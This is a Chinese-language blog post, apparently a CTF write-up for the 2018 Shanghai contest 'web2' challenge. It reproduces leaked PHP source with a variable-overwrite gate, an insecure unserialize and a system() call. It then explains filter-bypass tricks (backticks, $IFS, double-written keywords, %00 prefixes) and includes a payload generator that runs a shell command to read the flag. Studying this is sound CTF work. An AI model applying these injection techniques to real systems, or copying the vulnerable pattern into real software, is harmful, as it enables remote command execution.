美文网首页
上海赛2018

上海赛2018

作者: Shad0w_zz | 来源:发表于2018-11-26 21:03 被阅读0次

web2

扫描发现源码泄露:.index.php.swp
用vi恢复一下

<?php
class come{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 

}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "<br>welcome!<br>";
                $come=@$_POST['come'];
                unserialize($come); 
            }
        }
        else
        {echo "<br>think about it<br>";}
    }
    else
    {
        echo "NO";
    }
}
else
{
    echo "Can you hack me?<br>";
}
?>

简单分析一下源码:
利用prase_str()的变量覆盖
传递参数first=doller&a=var%3dgive%26bbb%3dme%26ccc%3dflag
直接进入到下一步反序列化,这里只需把=、&编码一下即可同时覆盖多个变量。
come这里是典型的反序列化,只需绕过一下waf执行命令。
通过反引号可以直接执行命令,
空格用$IFS代替,
waf里面flag只是做了一次替换为空、双写绕过,
并在属性的前面加上%00才能成功反序列化

<?php
error_reporting(0);
class come{    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    #function echo($host){
       # system("echo $host");
    #}
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
}
$test = new come("echo",array('`cat$IFS/flflagag`'));
echo serialize($test);
?>

最终payload:

图片.png
参考文章:http://www.cnblogs.com/nul1/p/9502333.html

相关文章

网友评论

      本文标题:上海赛2018

      本文链接:https://www.haomeiwen.com/subject/wxddxqtx.html